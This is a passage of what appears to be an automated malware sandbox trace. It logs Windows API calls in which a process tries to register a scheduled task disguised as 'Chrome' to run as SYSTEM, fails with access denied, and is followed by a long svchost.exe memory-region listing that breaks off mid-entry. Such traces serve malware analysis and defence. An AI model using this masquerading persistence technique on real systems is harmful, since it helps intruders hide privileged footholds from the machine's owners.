(_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.569] GetThreadLocale () returned 0x409 [0056.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="SYSTEM", cchCount2=-1) returned 1 [0056.569] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.569] GetThreadLocale () returned 0x409 [0056.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="NT AUTHORITY\\SYSTEM", cchCount2=-1) returned 3 [0056.569] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.569] GetThreadLocale () returned 0x409 [0056.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="NT AUTHORITY\\LOCALSERVICE", cchCount2=-1) returned 3 [0056.569] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.569] GetThreadLocale () returned 0x409 [0056.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="NT AUTHORITY\\NETWORKSERVICE", cchCount2=-1) returned 3 [0056.570] GetThreadLocale () returned 0x409 [0056.570] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="SYSTEM", cchCount2=-1) returned 1 [0056.570] GetThreadLocale () returned 0x409 [0056.570] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="NT AUTHORITY\\SYSTEM", cchCount2=-1) returned 3 [0056.570] GetThreadLocale () returned 0x409 [0056.570] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="NT AUTHORITY\\LOCALSERVICE", cchCount2=-1) returned 3 [0056.570] GetThreadLocale () returned 0x409 [0056.570] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="NT AUTHORITY\\NETWORKSERVICE", cchCount2=-1) returned 3 [0056.570] GetThreadLocale () returned 0x409 [0056.570] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="S-1-5-18", cchCount1=-1, lpString2="S-1-5-18", cchCount2=-1) returned 2 [0056.570] lstrlenW (lpString="") returned 0 [0056.570] ITaskFolder:RegisterTaskDefinition (in: This=0x2adf80, Path="Chrome", pDefinition=0x197cc0, flags=2, UserId=0x14d100*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="S-1-5-18", varVal2=0x0), password=0x14d140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14f010, varVal2=0xfe), LogonType=5, sddl=0x14d120*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x14d020 | out: ppTask=0x14d020*=0x0) returned 0x80070005 [0056.573] SetLastError (dwErrCode=0x80070005) [0056.573] GetLastError () returned 0x80070005 [0056.573] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x80070005, dwLanguageId=0x0, lpBuffer=0x14cf70, nSize=0x0, Arguments=0x0 | out: lpBuffer="堠\x1d") returned 0x13 [0056.573] GetLastError () returned 0x80070005 [0056.573] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0056.573] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.574] _memicmp (_Buf1=0x1bd790, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.574] _vsnwprintf (in: _Buffer=0x1da830, _BufferCount=0x7ff, _Format="%s ", _ArgList=0x14cf90 | out: _Buffer="ERROR: ") returned 7 [0056.574] _fileno (_File=0x7feff632ae0) returned 2 [0056.574] _errno () returned 0x194bb0 [0056.574] _get_osfhandle (_FileHandle=2) returned 0xb [0056.574] _errno () returned 0x194bb0 [0056.574] GetFileType (hFile=0xb) returned 0x2 [0056.574] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0056.574] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14ce70 | out: lpMode=0x14ce70) returned 1 [0056.574] __iob_func () returned 0x7feff632a80 [0056.574] __iob_func () returned 0x7feff632a80 [0056.574] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0056.574] lstrlenW (lpString="ERROR: ") returned 7 [0056.574] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x1da830*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x14cee0, lpReserved=0x0 | out: lpBuffer=0x1da830*, lpNumberOfCharsWritten=0x14cee0*=0x7) returned 1 [0056.575] _fileno (_File=0x7feff632ae0) returned 2 [0056.575] _errno () returned 0x194bb0 [0056.575] _get_osfhandle (_FileHandle=2) returned 0xb [0056.575] _errno () returned 0x194bb0 [0056.575] GetFileType (hFile=0xb) returned 0x2 [0056.575] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0056.575] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14cf00 | out: lpMode=0x14cf00) returned 1 [0056.575] __iob_func () returned 0x7feff632a80 [0056.575] __iob_func () returned 0x7feff632a80 [0056.575] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0056.575] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0056.575] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x1d5850*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x14cf70, lpReserved=0x0 | out: lpBuffer=0x1d5850*, lpNumberOfCharsWritten=0x14cf70*=0x13) returned 1 [0056.575] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x14d0a0 | out: pperrinfo=0x14d0a0*=0x0) returned 0x1 [0056.576] TaskScheduler:IUnknown:Release (This=0x197cc0) returned 0x0 [0056.576] TaskScheduler:IUnknown:Release (This=0x2adf80) returned 0x0 [0056.576] TaskScheduler:IUnknown:Release (This=0x2aded0) returned 0x1 [0056.576] lstrlenW (lpString="SYSTEM") returned 6 [0056.576] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="SYSTEM", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0056.576] lstrlenW (lpString="") returned 0 [0056.576] lstrlenW (lpString="2") returned 1 [0056.576] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="2", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0056.576] exit (_Code=1) Thread: id = 34 os_tid = 0xa60 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x745e000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x8cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 691 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 692 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 693 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 694 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 695 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 696 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 697 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 698 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 699 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 700 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 701 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 702 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 703 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 704 start_va = 0x140000 end_va = 0x143fff entry_point = 0x140000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 705 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 706 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 707 start_va = 0x170000 end_va = 0x19ffff entry_point = 0x170000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 708 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x1a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 709 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 710 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 711 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 712 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 713 start_va = 0x350000 end_va = 0x3b5fff entry_point = 0x350000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 714 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 715 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 716 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 717 start_va = 0x7e0000 end_va = 0x89ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 718 start_va = 0x8a0000 end_va = 0xc92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 719 start_va = 0xca0000 end_va = 0xcbbfff entry_point = 0xca0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 720 start_va = 0xcc0000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 721 start_va = 0xd40000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 722 start_va = 0xdc0000 end_va = 0xdc0fff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 723 start_va = 0xdf0000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 724 start_va = 0xe40000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 725 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 726 start_va = 0xf50000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 727 start_va = 0x1010000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 728 start_va = 0x1060000 end_va = 0x10dffff entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 729 start_va = 0x10e0000 end_va = 0x13aefff entry_point = 0x10e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 730 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 731 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 732 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 733 start_va = 0x15a0000 end_va = 0x161ffff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 734 start_va = 0x1620000 end_va = 0x169ffff entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 735 start_va = 0x16e0000 end_va = 0x175ffff entry_point = 0x0 region_type = private name = "private_0x00000000016e0000" filename = "" Region: id = 736 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 737 start_va = 0x1810000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 738 start_va = 0x1890000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 739 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 740 start_va = 0x19e0000 end_va = 0x1a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 741 start_va = 0x1a60000 end_va = 0x1adffff entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 742 start_va = 0x1b00000 end_va = 0x1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 743 start_va = 0x1b90000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 744 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 745 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 746 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 747 start_va = 0x1ea0000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 748 start_va = 0x1fa0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 749 start_va = 0x2020000 end_va = 0x2362fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 750 start_va = 0x2370000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 751 start_va = 0x2550000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 752 start_va = 0x2630000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 753 start_va = 0x2770000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 754 start_va = 0x2810000 end_va = 0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 755 start_va = 0x28e0000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 756 start_va = 0x2960000 end_va = 0x2a5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002960000" filename = "" Region: id = 757 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 758 start_va = 0x2bd0000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 759 start_va = 0x2c50000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 760 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 761 start_va = 0x2f20000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 762 start_va = 0x2f80000 end_va = 0x2f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 763 start_va = 0x3020000 end_va = 0x309ffff entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 764 start_va = 0x30a0000 end_va = 0x311ffff entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 765 start_va = 0x3150000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 766 start_va = 0x3250000 end_va = 0x32cffff entry_point = 0x0 region_type = private name = "private_0x0000000003250000" filename = "" Region: id = 767 start_va = 0x32d0000 end_va = 0x334ffff entry_point = 0x0 region_type = private name = "private_0x00000000032d0000" filename = "" Region: id = 768 start_va = 0x3350000 end_va = 0x33cffff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 769 start_va = 0x33e0000 end_va = 0x345ffff entry_point = 0x0 region_type = private name = "private_0x00000000033e0000" filename = "" Region: id = 770 start_va = 0x3460000 end_va = 0x355ffff entry_point = 0x0 region_type = private name = "private_0x0000000003460000" filename = "" Region: id = 771 start_va = 0x3590000 end_va = 0x360ffff entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 772 start_va = 0x3630000 end_va = 0x36affff entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 773 start_va = 0x37c0000 end_va = 0x383ffff entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 774 start_va = 0x3890000 end_va = 0x390ffff entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 775 start_va = 0x3a20000 end_va = 0x3b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a20000" filename = "" Region: id = 776 start_va = 0x3b80000 end_va = 0x3bfffff entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 777 start_va = 0x3c60000 end_va = 0x3cdffff entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 778 start_va = 0x3ce0000 end_va = 0x3edffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 779 start_va = 0x3f10000 end_va = 0x3f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 780 start_va = 0x3f90000 end_va = 0x400ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 781 start_va = 0x4020000 end_va = 0x409ffff entry_point = 0x0 region_type = private name = "private_0x0000000004020000" filename = "" Region: id = 782 start_va = 0x40b0000 end_va = 0x412ffff entry_point = 0x0 region_type = private name = "private_0x00000000040b0000" filename = "" Region: id = 783 start_va = 0x4190000 end_va = 0x420ffff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 784 start_va = 0x4290000 end_va = 0x430ffff entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 785 start_va = 0x44c0000 end_va = 0x453ffff entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 786 start_va = 0x4540000 end_va = 0x473ffff entry_point = 0x0 region_type = private name = "private_0x0000000004540000" filename = "" Region: id = 787 start_va = 0x47b0000 end_va = 0x482ffff entry_point = 0x0 region_type = private name = "private_0x00000000047b0000" filename = "" Region: id = 788 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 789 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 790 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 791 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 792 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 793 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 794 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 795 start_va = 0x7fee30d0000 end_va = 0x7fee31a1fff entry_point = 0x7fee30d0000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 796 start_va = 0x7fef35d0000 end_va = 0x7fef3611fff entry_point = 0x7fef35d0000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 797 start_va = 0x7fef4dd0000 end_va = 0x7fef4e09fff entry_point = 0x7fef4dd0000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 798 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 799 start_va = 0x7fef5b20000 end_va = 0x7fef5b9dfff entry_point = 0x7fef5b20000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 800 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 801 start_va = 0x7fef5bc0000 end_va = 0x7fef5c7bfff entry_point = 0x7fef5bc0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 802 start_va = 0x7fef5c80000 end_va = 0x7fef5cf2fff entry_point = 0x7fef5c80000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 803 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 804 start_va = 0x7fef5d30000 end_va = 0x7fef5d9afff entry_point = 0x7fef5d30000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 805 start_va = 0x7fef5da0000 end_va = 0x7fef5db8fff entry_point = 0x7fef5da0000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 806 start_va = 0x7fef5dc0000 end_va = 0x7fef5e0ffff entry_point = 0x7fef5dc0000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 807 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 808 start_va = 0x7fef5e30000 end_va = 0x7fef5e9efff entry_point = 0x7fef5e30000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 809 start_va = 0x7fef5ea0000 end_va = 0x7fef5fcefff entry_point = 0x7fef5ea0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 810 start_va = 0x7fef5fd0000 end_va = 0x7fef5fe9fff entry_point = 0x7fef5fd0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 811 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 812 start_va = 0x7fef6070000 end_va = 0x7fef60f3fff entry_point = 0x7fef6070000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 813 start_va = 0x7fef6300000 end_va = 0x7fef6324fff entry_point = 0x7fef6300000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 814 start_va = 0x7fef6330000 end_va = 0x7fef636cfff entry_point = 0x7fef6330000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 815 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 816 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = 